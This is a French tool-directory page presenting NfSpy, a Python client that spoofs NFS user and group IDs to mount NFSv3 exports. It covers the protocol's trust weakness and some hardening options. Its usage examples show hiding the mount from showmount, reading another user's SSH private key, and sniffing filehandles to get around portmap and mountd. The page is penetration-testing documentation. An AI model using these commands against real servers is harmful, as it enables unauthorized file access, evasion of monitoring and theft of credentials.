Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
NfSpy — Client NFS à usurpation d'ID | Kitploit
Outils/GitHubGitHub/bonsaiviking/nfspy
Escalade de PrivilègesExploitationCollecte d'InformationsSécurité RéseauTests d'IntrusionAuthentificationRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

Client NFS à usurpation d'ID

Voir le dépôt
29856il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

NfSpy - un client NFS usurpant les identifiants

par Daniel Miller

NfSpy est une bibliothèque Python permettant d'automatiser la falsification des identifiants NFS lors du montage d'un partage NFS. Deux programmes clients sont inclus :

  • nfspy utilise la bibliothèque Filesystem in Userspace (FUSE) pour monter un partage NFS sous Linux. Cela permet d'utiliser n'importe quel programme classique de recherche et de manipulation de fichiers comme grep et find pour explorer l'export NFS.

  • nfspysh est un shell interactif de type ftp pour explorer les exports NFS. Il ne nécessite pas la bibliothèque FUSE, il peut donc fonctionner sur des plateformes non Linux.

Vulnérabilité exploitée

Les versions de NFS antérieures à la version 4 reposent sur des relations de confiance entre hôtes pour l'authentification. Le serveur NFS fait confiance à toutes les machines clientes pour authentifier les utilisateurs et attribuer les mêmes identifiants utilisateur (UID) que ceux utilisés par le système de fichiers partagé. Cela fonctionne dans les domaines NIS, NIS+ et LDAP, par exemple, mais uniquement si l'on sait que la machine cliente n'est pas compromise ou ne falsifie pas son identité. Cela est dû au fait que la seule authentification dans le protocole NFS est la transmission de l'UID et du GID (identifiant de groupe). Quelques mesures peuvent être prises pour renforcer la sécurité de NFS, mais beaucoup d'entre elles sont des solutions incomplètes, et même avec les trois mesures listées ici, il pourrait encore être possible de contourner les mesures de sécurité.

Squash root

Le serveur ou le partage (« export » dans le jargon NFS) peut être configuré avec root_squash, ce qui signifie que toute requête se présentant comme provenant de l'UID ou du GID 0 (root) sera traitée comme venant de l'utilisateur nobody, ou son équivalent sur le système. Cela n'empêche pas un attaquant d'usurper toute autre combinaison UID/GID, mais protégera les informations et configurations les plus sensibles de l'export.

nfs_portmon

Un autre paramètre pouvant être activé est nfs_portmon, qui refuse les requêtes provenant de ports sources situés hors de la plage 513-1024. Comme seul root peut (généralement) allouer ces ports, cela empêche un utilisateur régulier d'une machine de confiance d'écrire et d'utiliser son propre client NFS qui falsifie l'UID/GID. Cela ne fait rien pour empêcher un hôte malveillant, un utilisateur disposant des permissions su, ou une machine compromise au niveau root de faire la même chose.

Restrictions d'export

Les partages/exports peuvent être contrôlés afin que seules certaines machines puissent y accéder. Ces listes de contrôle d'accès peuvent être constituées de :

  • Adresses IP (par ex. 192.168.1.34)
  • Préfixes IP (par ex. @192.168.1)
  • Noms d'hôtes (par ex. server1.mydom.nis)
  • Listes d'hôtes (par ex. @trusted_hosts)
  • « everyone »

La meilleure configuration serait d'utiliser une liste d'hôtes, car l'interrogation du démon nfs ne donnera que le nom de la liste, et non les adresses ou noms qu'elle contient. Ensuite viendraient les adresses IP ou les noms d'hôtes, car ceux-ci sont plus difficiles à usurper. Les préfixes IP et « everyone » sont des signes d'insécurité, car il n'y a que peu ou pas de restriction sur les adresses pouvant se connecter.

Utilisation de NfSpy

La liste des options peut être consultée en exécutant

root@kitploit:~
nfspy --help

Exemple

Il y a un serveur NFS sur 192.168.1.124.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Montez le partage. L'utilisation de sudo vous permet de vous lier à un port privilégié, et l'option allow_other permet à tout utilisateur d'utiliser le système de fichiers. L'autre nouvelle option ici est « hide », qui « démonte » immédiatement le partage sur le serveur, tout en conservant le filehandle obtenu. Cela masque votre présence à quiconque utilise showmount -a

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

Profitez de votre nouvelle liberté !

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

Pour démonter, utilisez fusermount :

root@kitploit:~
$ sudo fusermount -u /mnt

Exemple avancé

Il y a un serveur NFS sur 192.168.1.124. Portmap est bloqué, vous ne pouvez donc pas obtenir la liste des partages, mais vous pouvez sniffer le trafic réseau.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Utilisez maintenant les options de montage dirhandle et getroot pour éviter d'utiliser le démon mount, et l'option nfsport pour éviter d'utiliser le portmapper, en remontant l'arborescence des répertoires jusqu'à la racine de l'export.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Notez que nous n'avons pas fourni de chemin à monter, puisque tout ce que nous connaissons est le filehandle NFS. Pour que cela fonctionne, le handle doit pointer vers un répertoire, et non un fichier, et vous devez agir rapidement sinon le handle deviendra obsolète.

Le programme tshark fait partie du projet Wireshark. Le programme courant tcpdump possède également la capacité de décoder les filehandles NFS avec l'option -u :

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

Ces filehandles sont séparés par des octets en hexadécimal séparés par des deux-points. Vous devrez donc les compléter vous-même avec des zéros ; NfSpy se contentera de retirer les deux-points, ce qui est incorrect.

Utilisation de nfspysh

nfspysh accepte le même ensemble d'options de base, dans le même format que nfspy, donc le tutoriel ci-dessus devrait fonctionner correctement. La liste des commandes peut être consultée avec la commande « help ».

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

BUGS

  • L'accès en écriture est en version bêta. Cela a fonctionné lors de mes tests sur quelques systèmes, mais mériterait davantage de tests. Pour cette raison, NfSpy monte par défaut en lecture seule (ro). Spécifiez l'option de montage rw pour modifier cela. (nfspysh n'a pas de mode lecture seule. Avancez avec prudence !)

  • NfSpy ne fonctionne pas avec les services standard lockd et statd, ce qui pourrait poser problème pour l'écriture de fichiers. Pour la lecture seule, cependant, et pour la plupart des usages nuisibles pour lesquels il a été conçu, cela ne devrait pas être un problème.

  • NfSpy ne prend en charge que NFSv3 pour le moment. Les versions futures pourraient choisir intelligemment une version de NFS.

Télécharger l’outil